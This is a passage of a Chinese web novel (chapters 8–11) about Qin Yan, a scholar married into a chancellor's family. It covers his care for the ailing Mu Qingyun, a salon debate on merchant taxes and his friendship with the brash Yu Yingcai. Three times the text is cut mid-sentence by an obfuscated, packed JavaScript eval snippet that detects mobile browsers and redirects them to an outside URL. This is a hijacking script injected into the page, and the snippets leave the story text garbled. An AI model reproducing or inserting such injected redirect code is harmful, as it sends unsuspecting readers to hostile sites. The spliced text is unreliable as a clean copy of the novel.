就这么辗转反侧了一夜，秦砚又起了个大早，收拾整齐，准备回去看看穆小姐好些了没有。 他正准备出门，忽然想到什么，又转身回到书桌前，拿上几本昨日翻过的书攥在手里。 沁芳院的卧房门窗紧闭，里面不时传来压抑的咳嗽声，大夫丫鬟进进出出，每个人都脚步匆匆，面色凝重。 秦砚远远站在院子里的凉亭下，满心焦灼望着那扇开开合合的房门。 无人有空理会他，他也不敢贸然上前打扰。 就这样在寒风中等了一个多时辰。 秦砚手脚冰凉，朝手心里哈了口白雾，又跺了跺冻僵的脚，却半步也没敢离开。 几个下人簇拥着裹成团子的穆子钰走进了院子。 穆子钰瞧了一眼房门口的情况，扭头看向凉亭下的秦砚。 “你在这里做什么？我阿姐生病的时候，从来不见外人。” 秦砚吸了吸鼻子，侧身指向石桌上放着的书卷。 “我在这里读书，顺便看看穆小姐有没有什么需要我的地方。” “读书？” 穆子钰摘了厚厚的狐绒手套，翻了翻桌上的书页，抬头像看傻子似的看着秦砚。 “读书不去书房读，在这儿吹冷风，你是不是脑子有问题？” 秦砚扯了扯嘴角：“嘿……” 这小子在他姐姐面前装得一副乖巧懂事的样子，背地里却是个牙尖嘴利的小刺头。 “既然穆小姐病中不见外人，那小少爷怎么也来了？” 穆子钰没想到这人居然还敢跟他顶嘴，气得脸颊一鼓：“我可是阿姐的亲弟弟！你如何能跟我比？” 秦砚不紧不慢地反问：“既然如此，那小少爷为何不进屋去？” “我……” 穆子钰语塞，恶狠狠地瞪了他一眼，“阿姐刚喝了药肯定正在休息，我不想吵到她，晚点再来！” 秦砚目送那团子气鼓鼓地离去，轻轻吁了口气，继续守着他的凉亭和冷风。 8. 第 8 章 太医收拾着药箱，用余光悄悄打量这位病骨支离，却执掌相府大权的千金小姐。 “小姐，老臣有句话……不知当讲不当讲。” 穆卿云动作顿了顿，放下手中的帕子，“刘太医，但说无妨。” “小姐先天禀赋不足，体质本就孱弱，更不该如此劳神耗心，这般操劳，简直是在透支性命啊。” 穆卿云垂眸沉默片刻，轻描淡写道：“对我来说，与其浑浑噩噩躺在床上多活两年，还不如站起来，把想做的事情做完。这样将来走的时候，也能少些遗憾。” “这……” 太医欲言又止，却也无可奈何，摇头叹道，“太医院能用的方子已经都试过了，小姐可以派人再去民间寻访名医，或许还能有一线生机吧。” 知微帮忙整理着床褥，借着低头弯腰的动作，飞速背过身抹了把眼泪。 穆卿云捂住胸口，缓过一阵心绞痛，轻声道：“多谢刘太医费心，我记下了。” 天色渐晚，知微收拾着空了的药碗，顺嘴提了一句：“今日上午，小少爷来过一趟，但是怕吵到小姐，所以没进来。” 穆卿云肩头披着厚厚的氅衣，手肘靠在软枕上，低头看着摊开的折子，“嗯”了一声，权当回应。 知微端起托盘看了她一眼，犹豫了一瞬还是说道：“那秦大人也一早就过来了，在院子的凉亭里面枯坐了一天呢。” 穆卿云惊讶地抬起头，下意识看了眼窗外。 “天气这么冷，他在那儿坐着干什么？” 知微努努嘴巴：“奴婢不知，不过看他拿了几本书卷，可能是有什么问题要请教小姐吧。” 穆卿云搁下手里的折子，揉了揉眉心：“让他进来吧，别冻出毛病来了。” 面前的桌卷被风刮得翻了好几页，秦砚哆哆嗦嗦地拢了拢衣襟，感觉自己的脑袋都快结冰了。 “姑爷？” 知微不知何时走了过来，轻声唤道，“我家小姐叫你呢，让你进屋去。” “……哦，好。” 秦砚应了一声，想要挪动却发现双腿都已经冻得麻木没有知觉了。 他僵在原地，有些尴尬地轻咳一声，“姑娘先进去吧，我收拾一下，马上就来。” 知微瞧出了他的窘迫，笑着转身先走了。 等到背后的脚步声走远了，秦砚才使劲捶了捶不争气的腿，然后扶着石桌缓缓起身，把桌上的书卷都收进怀里。 卧房里摆着好几个烧得通红的炭盆，满室暖融融的。 秦砚一进屋，就被这带着苦涩药香的暖意给包裹住，手脚终于开始恢复知觉。 “知微说你带着书在外面等了一天，是有什么不懂的地方要问吗？” 穆卿云的声音从屏风后传了过来，听起来有些虚弱，但似乎精神还好。 “……是的。” 秦砚慢半拍地从怀里掏出书卷，刚解冻的脑袋一听见穆卿云的声音，先前打好的腹稿就全都给忘了个干净。 穆卿云等了一会儿没听到他的声音，疑惑道：“秦大人？” “我在！” 秦砚一个激灵，下意识朝屏风迈了一步，却又生生收住脚，“穆小姐……身子还好吗？” 穆卿云轻笑：“老毛病了，就是容易累，歇一歇就好。” 秦砚松了口气，低头翻了翻手里已经被风吹得边角微卷的书卷，终于想起来自己要问什么。 “晚生昨日在读《盐铁论》时，见前人争论官营与民营之利弊，心中颇有疑惑。如今边境未宁，国库吃紧，若一味重税敛财，恐伤民生。但若放宽管制，又怕商贾囤积居奇，百姓受苦。不知小姐以为，治国者，当以国为先，还是以民为重？” 屏风后安静了片刻，才听穆卿云轻咳两声，缓缓道：“国以民为本，民以食为天。无民则无国，虐民则亡国。看似是国与民择一，实则是长远与眼前之分。” 秦砚若有所思，追问道：“那为官者该如何权衡取舍？” “眼前看，官营能速聚钱粮，解一时之急。长久看，藏富于民，方能仓廪实，礼乐兴，边境自固，朝堂自安。” 不过道理易懂，实际施行起来却是步步维艰。 如何推行仁政是一方面，朝堂上太傅一党虎视眈眈，想要绕过他们的掣肘又是另一方面了。 穆卿云顿了顿，沉声道：“你是新科状元，将来要入仕理政，一定要记住一句话，不恤民生者，权谋再高，终是空中楼阁。” 秦砚听得心头一震，原本只以为她是深居相府，体弱多病的女子，不料论及天下苍生，竟有这般通透眼界。 他连忙躬身：“晚生从前只会在书卷里论是非，小姐一言，如拨云见日，令晚生茅塞顿开。” 两人正说着话，知微敲门进来，带着身后的丫鬟，端来了热气腾腾的晚膳。 “小姐，该用膳了。” 秦砚往旁边让了让，低头揉了揉鼻子。 饭菜的香气飘进鼻子里，让他饿了一天的肚子咕噜咕噜地响了起来。 他连忙用拳头抵住腹部，一边偏头轻咳，拼命掩饰这尴尬的声音。 “既然小姐要用膳了，那晚生就不打扰了，先行告退。” “等等。” 穆卿云轻声叫住他，缓缓从床上起身，绕过屏风，走到秦砚面前。 “秦大人也还没用饭吧，何不坐下一起？” 秦砚心知自己应该推辞几句，可身体却控制不住地乖乖听话落了座。 桌上摆着几道清淡适口的小菜，虽然不见太多荤腥，但色香味俱全，一看就是用心准备的病中膳食。 坐在桌边，秦砚的肚子更是叫得欢了。 穆卿云见他不好意思动筷，于是率先拿起筷子夹了一筷青菜，“秦大人不必拘谨，随意就好。” “好。” 秦砚这才拿起筷子，十分克制地小口小口吃了起来。 “我这边饮食素来清淡，秦大人若是吃不惯，往后可以吩咐厨房另做，让知微给你安排。” “不，不必了，我不挑食，吃得惯。” 秦砚咽下一口饭，苦笑道，“从前家中清贫，常常有了上顿没下顿，如今能吃饱已是福分，哪还有挑剔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524722|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理。” 穆卿云静静听着，忽然问道：“既然你家境如此贫寒，那当初是如何筹措进京盘缠的？” 秦砚放下筷子，双手规规矩矩地放在膝头，认真答道：“赴考前一年，曾意外得一位贵人相助，这才有了进京赶考的盘缠。娘亲去世时，也多亏了贵人留下的钱财，这才得以妥善安葬。” “哦？”穆卿云弯了弯眼睛，“还有这等奇缘？” “我自己也觉得很不可思议，曾经还偷偷想过，以为是天上的仙子下凡相助，”秦砚摇摇头，“可终究只是妄想。我只盼着能再遇见那位恩人，可以早日偿还这份恩情。” 穆卿云端起茶盏抿了一口，淡淡道：“秦大人倒是个知恩图报的。” 秦砚忽然意识到自己好像说得太多了，连忙找补道：“穆小姐于我有收留之恩，在下同样感激不尽！往后若是有什么用得上的地方，在下定当万死不辞！” “吃饭呢，怎么又说起什么死不死的了。” 穆卿云无奈一笑，把那道清蒸鲈鱼往秦砚面前推了推，“趁热，多吃点。” 知微站在一旁瞧着，心里暗暗称奇。 若是放在往常，小姐总是浅尝几口就撂了筷子，今日兴许是有人陪着，竟然还多吃了一些，倒是难得。 穆卿云抬眸，看见秦砚通红的耳朵，温声叮嘱道：“今日外面那么冷，秦大人耳朵都冻透了。以后若是有事找我，只管让知微通传一声就好，别再傻傻守在外面吹风。” 秦砚揉了揉耳朵，竟然连耳根都开始红了起来，“是，在下记住了。” 知微上前帮穆卿云布菜，抿着唇角揶揄道：“姑爷这哪儿是冻的，分明是不好意思，羞的吧？” “是热的，”秦砚用袖子擦了擦额头，心虚地解释道，“屋里炭火烧得太足，是热的……” 穆卿云嗔了知微一眼，帮秦砚解围道：“我体虚畏寒，所以炭盆放得多了些，可能对你来说，的确有些闷热。” 知微忍着笑，撇了撇嘴，还是把剩下的话咽了回去。 秦砚点点头，继续沉默扒饭，不知道自己这是怎么了。 从前在翰林院，他面对一众饱学鸿儒也能从容论学。哪怕是殿试之后，当着皇上的面儿对答策问，也都没有像这般紧张过。 好像只要一看见穆小姐，这么多年读的圣贤书都成了无用废纸，胸腔里的这颗心脏开始失去控制，如同脱缰野马，横冲直撞，怎么也静不下来。 穆卿云嘴里全是药汁的苦味，压根没什么胃口，浅尝了几口就吃不下了，只是看秦砚吃得正香，所以也只好继续陪着。 她端起刚添的热茶，轻轻吹了吹热气，“我这里太过闷热，秦大人这段时间还是去书房歇息吧，免得传染了病气给你。” 秦砚动作一顿，心里暗自懊恼，头回体验到什么叫，搬起石头砸了自己的脚。 “其实我……” 穆卿云端着茶盏，不着痕迹地打断道：“大人若是有学问上的疑惑，可以随时过来找我探讨，不必拘礼。” 秦砚抬头看了她一眼，只好闷闷道了声：“好。” 9. 第 9 章 “你的意思是说……那穆小姐不仅长得倾国倾城，跟天仙似的，还知书达理，懂得治国理政，连学问见识都跟你不相上下？” 城郊僻静的小茶馆里，尹都坐在秦砚对面，摸着下巴，一脸不可思议。 秦砚认真地摇了摇头，纠正他：“不是不相上下，而是远超于我。无论是眼界格局，还是谋略手段，穆小姐都堪称当世无双。” “啧啧啧……” 尹都咂了咂嘴，揶揄道，“这才嫁过去几天啊，就被迷得七荤八素。这还是当初那个心高气傲，宁死不从的秦状元嘛？” 秦砚被他说得耳根发红，梗着脖子道：“我说的句句都是实话，是你没见识罢了。” 尹都嗤笑道：“我一届闲散游民，自然是没什么见识。只是旁人都说那相府千金体弱多病，深居简出，不知怎么到你嘴里就成了天上有地下无的巾帼奇才。” “体弱多病是真，当世无双也是真。” 秦砚想起穆卿云的病，语气沉重了下来，“尹兄，你经营茶楼，平日里接触到的三教九流多，烦请帮我留意一下擅长疑难杂症的名医，我想替穆小姐求个方子。” 尹都挠挠脑袋，面露难色：“认识的人倒是有几个，但不过……她的病就连太医院都束手无策，这民间郎中还能有什么办法？” “成与不成，总得试试。” 秦砚垂下眼，攥紧了手中的茶盏。 “行吧，我替你留意着。” 尹都拍了拍他的肩膀，正色道，“秦砚，我当你是好兄弟才提醒你一句，那可是水深火热的相府，你身在漩涡中心，一定要万分小心，人心险恶，不得不防。” 秦砚神色凝重，点头应下：“明白，我会多加谨慎。” 不知不觉，桌上的茶已经凉透了。 秦砚望着窗外斑驳的树影发呆，忽然听见远处传来梆子声，连忙急切问道：“尹兄，现在什么时辰了？” 尹都正靠在椅背上打盹，冷不防被他吓了一跳，打了个哈欠道：“刚敲过梆子，应该快到未时了吧。” 秦砚脸色一变，立刻从椅子上弹了起来。 “不好！今日是相府两月一次的清谈会，我快迟到了！” 尹都揉了揉眼睛：“什么清谈会？” 秦砚没空跟他解释，丢下一句“改日再聊”，就一阵风似的冲出了茶馆。 丞相府，潇湘阁。 秦砚一路疾走，终于赶在清谈会开始前踏进了潇湘阁。 阁中已经座无虚席，在场之人皆是京城名士，清流子弟，此刻都在三三两两低声交谈，等着这场两月一次的盛会开场。 秦砚大致扫了一圈，发现小少爷穆子钰竟然也被人簇拥着坐在前排。 他不敢凑上前，只寻了个不起眼的角落坐下，抬头朝正堂望去。 湘妃竹帘低垂，帘后隐隐约约能看见一道清瘦的身影。 穆卿云已经在了。 “咳。” 一声极轻的咳嗽从帘后传来，堂内顿时安静下来。 “诸位请便，不必拘礼。” 她的声音隔着竹帘，清清淡淡的，秦砚已经可以想象到她说话时的神态。 一定是眉眼轻敛，唇角噙着浅笑，指尖轻搭在茶盏沿上。哪怕病弱，也难掩一身清贵。 在他兀自走神之际，身边的人却忽然用手肘碰了碰他的胳膊。 “这位大人瞧着面生啊，你也是第一次来吗？” 一个面容俊朗的年轻公子，挤眉弄眼地朝秦砚凑了过来。 他眼神明亮，语气轻快，像是哪家毫无城府的小少爷，应该只是自来熟罢了，没什么坏心思。 秦砚点点头，“嗯”了一声。 “我叫虞英才，京兆尹司录参军是我爹。这次我可是求了家父好久，他老人家才同意让我来参加这场清谈会的呢！” 对方上来就自报家门，秦砚正在犹豫要不要也报上姓名，就听那人倒豆子似的继续道：“在下仰慕穆小姐已久，可惜一直无缘得见。相府这两月一次的清谈会是我唯一能靠近她的机会，我这次可得好好把握住了！一会儿争取语出惊人，看能不能得到穆小姐的一句点评！” 这人如此热忱坦荡，居然这么轻易就把满腔爱慕讲给一个陌生人听。 秦砚心头微动，他也同样仰慕穆小姐，但却因为身份尴尬，从不敢表露半分，甚至连多看她一眼都觉得唐突。 看着这位公子眼中毫不掩饰的热切，秦砚忽然觉得有些惭形秽，只好假装专心听辩，把目光放到了堂上。 今日论的是“义利之辨”，虽是老生常谈，却总能辩出新意。 几个年轻气盛的名士争得面红耳赤，引经据典，滔滔不绝。 秦砚听得入神，时不时点头，偶尔皱眉。 帘后始终安静，那道身影只是静静坐着，偶尔端起茶盏抿一口，偶尔掩唇轻咳两声，却不曾出声打断。 直到两边争得僵持不下，谁也说服不了谁时，帘后才传来穆卿云娓娓动听的声音：“周公子方才说‘君子喻于义，小人喻于利’，可曾想过，若无利以养民，义将焉附？” 方才还慷慨激昂的周公子顿时语塞。 帘后人继续道：“管子云，‘仓廪实则知礼节’。义与利，从来不是非此即彼。为政者若只知空谈仁义，却不解民生疾苦，那这义，便是无根之木，无源之水。” 秦砚正在顺着穆卿云的话锋思考，身边的虞英才却忽然大力拍了拍他的大腿，眉飞色舞地感叹道：“妙啊！真是太妙了！” 秦砚往另一旁躲了躲，揉揉大腿，疑惑地问：“虞公子悟出什么了？” 虞英才一脸激动地看着他：“我是说，穆小姐的声音，犹如清泉漱石，清越婉转，沁人心脾，简直妙哉！” 秦砚：“……” 这位公子还真是表里如一，胸无点墨，空空如也。 坐在最前排的邵同光耳尖动了动，忽然转头，看了一眼后排正在交头接耳的两人。 秦砚后知后觉地抬头望去，只觉得刚刚好像有一道冷冰冰的视线落在他身上，但转瞬即逝，仿佛只是他的错觉。 他摸了摸发凉的后颈，暗叹奇怪。 热火朝天的辩论一直持续了一个半时辰，众人的争论暂时停歇下来，有人喝茶润喉，有人凑在一起低声交流。 只有秦砚心神不宁，在担心竹帘后的那人体力还撑不撑得住。 虞英才从怀里掏出事先准备好的手稿，又临时抱佛脚地默背了几遍，这才兴致勃勃地站起身，拉着秦砚怂恿道：“这位仁兄，趁着这会儿休息，不如我们一起去找穆小姐讨教几句吧！” “不，我就不必了……” 秦砚本想拒绝，但谁知那虞公子身材健硕，力气也大得惊人，一把将他从座位上拉了起来，一路连拖带拽地走向那道湘妃竹帘。 “穆小姐！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524723|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞英才整了整衣冠，对着竹帘后的人影躬身作揖，“在下虞英才，对今日辩题有些疑惑，想向小姐讨教一二。” 穆卿云“嗯”了一声，轻声道：“原来是虞公子，先前都是令尊来参加清谈，今日倒是头一回见到你。” 见她竟然知道自己是谁，虞英才大喜过望，连忙开始背稿： “晚生以为，如今商贾之困，在于税赋过重。朝廷连年加征商税，以致商路凋敝，货物流通不畅。商人无利可图，百姓无货可买，最终受苦的还是黎民。故而晚生以为，当减轻商税，疏通商路，让货物流通起来，百姓才能买到便宜的东西，朝廷也能从繁荣的商贸中获得更多税银。” 穆卿云手肘支在扶手上，指尖轻点额头，沉默地听完，却没有直接回答，反而是问向另一边站着的秦砚。 “秦大人如何看？” 秦砚冷不防被点名，下意识跟虞英才对视了一眼，定了定神，恭敬道：“虞公子所言有理，商税过重确实不利民生。但晚生以为，商人逐利，若不加约束，难免囤积居奇，哄抬物价。税赋虽是负担，却也是朝廷调控商贾的手段。与其一味减税，不如严查奸商，平抑物价，让百姓真正受益。否则，减下来的税银，最后也不过是进了奸商的腰包。” 穆卿云撩开眼皮，唇角浮起一抹笑意。 一直默默倾听的邵同光坐不住了，起身反驳道：“秦大人此言差矣！商人也是百姓，也要养家糊口。你把奸商和良商混为一谈，岂不是要让所有商人为少数奸商的行为买单？” 秦砚听出这人话里话外对他的敌意，他疑惑地看了邵同光一眼，只觉得此人有些眼熟，但一时也想不起来是在哪儿见过。 “大人误会了。晚生从未说过要苛待良商，恰恰相反，晚生以为，严查奸商，正是为了保护良商。试想，奸商囤积居奇、哄抬物价，致使市场混乱，民怨沸腾，届时朝廷一道禁令下来，所有商人都会受牵连，良商岂不也跟着遭殃？严查奸商，肃清市场，让百姓对商贾重拾信任，良商的生意才能长久做下去。这才是真正的体恤商贾。” 这段话说的条理清晰，有理有据，不仅让邵同光哑口无言，就连一直旁听的穆子钰都坐直了身子，看向秦砚的目光里多了几分惊异和赞许。 等到他们安静下来，穆卿云这才慢悠悠地开口：“虞公子，秦大人这番话，可解决你的疑惑了？” 虞英才压根没听懂他们在吵什么，但还是连连点头：“解决了解决了，秦兄高见。” 两人正准备行礼退下，竹帘后忽然又传来穆卿云的声音。 “邵大人方才说的也有道理。商人也是百姓，也要养家糊口。若一味严查，良莠不分，反倒寒了商贾的心。” 秦砚脚步一顿，虞英才也跟着愣在原地。 “秦大人所言，也切中要害。奸商不除，良商难安。此事到底该如何处置，秦大人不妨回去仔细想想。” 穆卿云顿了顿，似是被牵动了咳意，缓了一息才继续道，“我书房东墙第三格，有几本前朝盐铁论的奏议汇编，还有两册江南商路的调查实录。你若有空，可以去翻翻。” 秦砚怔了怔，连忙躬身：“是。” “看完之后……” 穆卿云的语气里似乎带上了一丝极淡的笑意，“写一篇论述交给我。要言之有物，不许空谈。” “……是。” 秦砚应下，耳根又不受控制地烧了起来。 10. 第 10 章 虞英才在一旁看得目瞪口呆，等两人退下后，才悄悄扯了扯秦砚的袖子，压低声音问道：“秦大人？你是……刚刚入赘相府的新科状元秦砚？” 秦砚这才对他拱了拱手，做起了自我介绍：“正是在下，翰林院秦砚，见过虞公子。” “我……” 虞英才脸色几番变幻，最后还是咬牙切齿，攥紧拳头重重捶了他一拳。 “天杀的，你命也太好了！下辈子能不能换我入赘相府！” 秦砚揉着胳膊，苦笑抬头，发现四周多了许多双看热闹的眼睛。 既有好奇，也有羡慕，更多的是酸溜溜的嫉妒，好像他占了天大的便宜，恨不得把他生吞活剥才好。 若人人都能像虞英才这般爱憎分明，不藏着掖着，喜怒形于色就好了，那他应付起来，倒也还能轻松些。 “虞公子心直口快，坦坦荡荡，这份心性倒是世间难得。” 虞英才愣了一下，挠了挠头：“你是夸我还是损我呢？” 沁芳院的书房里。 秦砚已经在堆满古籍的书桌前坐了一整天。 手边堆放着一沓废弃的手稿，上面密密麻麻写满了删改批注。 这是穆卿云第一次给他布置的课业，他拿出了一万分的认真与谨慎，生怕哪里写得不够好，让穆卿云对他失望。 字斟句酌，反复推翻，不断重写，直到夜色渐深，秦砚才终于拿出了满意的定稿。 他轻轻吹干纸上的墨迹，揉了揉咔吧作响的脖颈，准备去找穆卿云交课业。 卧房没有见到人，丫鬟说，小姐今日在军机阁议事，还没回来。 秦砚想了想，揣好自己的文章，又迈步向军机阁走去。 “漕运整顿的事情，邵大人还需盯紧些，有消息及时来报。” 穆卿云被知微扶着，低声说着话，送邵同光走出军机阁。 邵同光顿住脚步，对她抱拳颔首：“属下明白，还请小姐放心。” 穆卿云有些累了，连嘴角的弧度都淡了下去：“邵大人慢走不送。” “穆小姐！” 邵同光的身影才刚离开，秦砚就从拐角处冒了出来。 “秦大人？”穆卿云有些惊讶，“你怎么在这里？” 秦砚快步上前，紧张又兴奋：“你先前交代让我写的策论文章，我已经完成了，特来呈给你过目。” “这么快？”穆卿云微微挑眉，笑道，“那一起回去看看吧。” 卧房里放置着好几个烧得正旺的炭盆，屋里的温度节节攀升。 秦砚脱下了外袍，端坐在穆卿云对面。如此近的距离，如此静谧的氛围，每偷偷看她一眼，秦砚头上的汗珠就就会多冒出一层。 穆卿云认真看完他写的文章，抬头刚想说话，却看见一张汗水涔涔的脸。 “秦大人……这么热吗？” 她扫了一眼角落的炭盆，“要不要撤走几个炭盆？” “不，不用，我不热。” 秦砚捏住袖子快速擦了把汗，飞速扯开话题：“我今日把那几本奏议都看了一遍，受益匪浅，又试着在文章里加上了一些粗浅的拙见，不知写得可还入眼。” 穆卿云微微颔首，赞同道：“你这句‘商税之重，不在税重，而在税不均’写的很好。言之有物，一针见血，不愧是陛下钦点的状元。” 秦砚被她夸得脸热心更热，于是头上的汗更加止不住地往外冒。 穆卿云抿唇轻笑，拿出帕子递给他：“秦大人擦擦吧。” “好……” 秦砚双手接过帕子，却只是紧紧攥在手里，生怕弄脏了。 穆卿云看在眼里，没多说什么，只是忽然问道：“昨日清谈会，见秦大人和虞公子相谈甚欢，你们似乎很熟？” “也没有，”秦砚挠了挠头，老实道，“我与那虞公子也是昨日才刚认识，聊得还算投缘。” “虞公子的父亲是京兆尹司录参军，为官清廉，性情温和，又是老来得子，素来疼宠，这才给他养成了这般心直口快，毫无城府的性子。不过虽说虞公子行事有些跳脱，但性子倒也还算赤诚可爱。” 说到这里，穆卿云的眼神忽然变得怅然，幽幽叹了口气。 “其实若能像虞公子这般，无忧无虑地过一辈子，才是真正的有福之人。” 被囚于金笼的鹤，可曾羡慕过林间自由的雀？ 她这般惊才绝艳的女子，可曾埋怨过老天不公？ 为什么要给她一副这样的身体？ 为什么要生在相府，把她困在这尔虞我诈的旋涡，不得片刻喘息？ 秦砚不敢问，只能在心里默默思忖。 “其实……虞公子他十分仰慕小姐，昨日清谈会，他特意精心准备了策论，就是想得到小姐的点评和认可。” 穆卿云低头失笑：“虞公子一向不善此道，这次光是背稿应该就费了不少力气吧？” 秦砚惊愕地看了她一眼，没想到虞公子的那点小把戏早就被她看穿了，只是懒得戳破罢了。 今日在军机阁忙了一天，穆卿云已经很疲惫了。此刻夜色已深，四下寂静，她的眼睛里也难得流露出几分从不轻易示人的柔软。 “那你呢，秦公子？” “嗯？” 秦砚恍然抬头，对上她看过来的视线。 全身的血脉开始奔腾，胸腔里那颗不受控的心脏再次开始狂跳。 他不确定她问的是不是自己想的那个意思，喉结滚动半晌，谨慎又模糊地回答道： “我也一样。” 一样仰慕小姐，一样想靠近小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524724|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一样……想成为对小姐有用的人。 穆卿云歪着脑袋看着秦砚，心想，这人实在不会掩饰心思，满腔的热忱都快从眼里溢出来了。 如此纯粹单纯，只愿日后不要因此而吃亏才好。 “今日这篇策论写得很好，我书房里还有一些关于漕运整顿的卷宗和前朝旧案，你得空了可以仔细研读，若有什么心得，可以再拿来与我探讨。” 她轻描淡写地转移了话题，秦砚一颗心被高高抛起，又被轻轻巧巧地放下。 好像一场险些破茧的悸动，又被悄无声息地按回了壳里。 “是。”他深吸口气，垂首应下。 深夜。 烛火将熄的书房里。 秦砚躺在床上，枕着手肘，怔怔地盯着手里那方手帕出神。 如果先前就咬定自己不怕热，是不是就能被准许留在卧房了？ 哪怕是那张伸不开腿的贵妃榻也好啊。 穆小姐…… 穆卿云…… 穆时雨…… 春雨应时，膏泽斯溥。不先不后，如解倒悬。卿云所降，自是时雨…… 带着幽香的手帕悠悠落在秦砚脸上，仿佛佳人在侧，吐气如兰。 秦砚就这么沉醉了片刻，而后忽然弹起身，揭开被子看了一眼。 “……” 他迅速涨红了耳根，低声暗骂：“秦砚，你现在怎的如此孟浪无状？满脑子都是这些有的没的，如何对得起你这些年所读的圣贤书？” 可他越是这么骂自己，身体的情况反而还愈演愈烈，大有燎原之势。 眼看这样下去不行，秦砚干脆翻身下床，重新剪了烛芯，翻开今日没看完的书卷埋头苦读起来。 他大声诵读，企图驱散脑海中的旖旎画面。 卧房里，穆卿云刚脱下外衣递给知微，就隐约听见了熟悉的读书声。 “这……”她凝神细听片刻，疑惑道，“是秦大人？” 知微点头道：“奴婢听着也像是。” “怎么还没睡，这么晚了还在读书呢？” “怕是今日跟小姐多说了几句话，此刻心潮澎湃还静不下来呢。” 知微扶着穆卿云上榻，蹲在床边帮她脱去鞋袜，趁机低头掩饰止不住上扬的唇角。 “刻苦读书也要有个分寸，熬坏了身体就不好了。” 穆卿云无奈摇头，又吩咐道，“你明日让厨房炖一盅人参乌鸡汤送去，给他补补身体。” 知微低声嘟囔：“那只怕是越补越睡不着咯……” “什么？” 穆卿云没听清，侧身看向知微，轻声追问。 “没什么，”知微立刻颔首道，“奴婢是想说，府里正好刚进了些上好的人参，明日就让厨子炖了给姑爷补身子！” 11. 第 11 章 翰林院。 秦砚把誊抄好的文稿又仔细整理了一番，确认无误后，这才起身往院正的值房走去。 韩信鸿正靠在椅中翻看闲书，见秦砚进来，连眼皮都没抬一下，只懒洋洋地“嗯”了一声。 “韩大人，这是上月要的《实录》校勘稿，学生已经整理完毕，请您过目。” 秦砚将文稿双手呈上，放在案边。 韩信鸿这才掀起眼皮，伸出两指随意翻了翻：“秦修撰倒是勤快，这么快就弄完了。” “份内之事，不敢拖延。” “份内？” 韩信鸿把文稿往旁边一推，嗤笑一声，“也是，如今你可是相府的娇客，自然要做些样子给岳父大人看。只是不知这翰林院的差事，秦大人还能做几日？” 秦砚没有刻意辩解，平和道：“韩大人多虑了。学生既入翰林，自当尽心当差。至于其他，不是学生能操心的。” 入赘相府以来，像这样的嘲讽声音总是如影随形，时间长了，秦砚倒也习以为常，已经可以淡然处之了。 “呵，你倒是会说话。” 韩信鸿摆了摆手，像赶苍蝇似的，“行了，放这儿吧，本官有空再看。” 秦砚不卑不亢地行了一礼：“那学生告退。” 日头西斜，翰林院的人都陆陆续续下值离去。 秦砚整理好案头的文稿，从值房出来，刚走出翰林院的大门，就瞧见一个熟悉的身影在门口来回踱步。 “秦兄！” 虞英才眼尖，一见他出来，立刻颠颠儿地迎了上来，一把勾住他的肩膀。 “可算等到你了！我等了你小半个时辰呢！” 秦砚有些意外：“虞公子？你怎么在这儿？” “玩儿啊！” 虞英才说得理直气壮，“左右也是无事，不如我们一起去尹兄的茶楼坐坐吧！” 自那场清谈会后，虞英才像是找到了知音，有事没事就来找秦砚厮混，今日拉着他去茶楼，明日又非要请他喝酒，一来二去，两人也算是混熟了。 秦砚惦记着穆卿云给他布置的课业，推脱道：“你是无事，我还赶着回府看书呢，你自己去吧……哎……” 可虞英才却根本不给他开溜的机会，直接不由分说地拽着他往外拉。 “天天闷头读书不累吗你？走吧！就去坐一会儿，又不饮酒，不会耽误事儿的！” 城郊小茶馆里。 尹都支了张摇椅放在门口，眯着眼睛摇摇晃晃地晒着太阳。 简陋破旧的茶楼依然冷冷清清，门可罗雀。 所以当虞英才那大嗓门响起时，他第一时间就睁开了眼，扭头望去。 “虞英才，你怎么又来了？” 虞英才眉梢一挑，不服气道：“嘿！你这人，敞开大门做生意，怎么还往外撵人呢！” 秦砚理了理被扯歪的衣襟，拱手跟尹都打了声招呼。 “我选在这儿开茶楼可不就是图个清静嘛，你一来，我这耳朵就别想消停……” 尹都不耐烦地起了身，拿起一旁的抹布，敷衍地在桌子上拍了拍。 “客官请坐，要喝点什么？” “上一壶你家最好的碧螺春，再来两碟招牌点心！” 这二世祖是把他这儿当酒楼了。 尹都翻了个白眼，转身直接用手抓了一碟花生米放进盘子里。 虞英才拉着秦砚在桌前坐下，一副熟门熟路的样子。 秦砚瞥了眼外头渐沉的暮色，心里有些焦急：“虞公子，你找我到底有什么事儿？时辰不早了，我还得早点回去呢。” 虞英才嘿嘿一笑，也不兜圈子，直接道：“秦兄，我知道你学问好，文采高，所以厚着脸皮，想请你帮个小忙。” 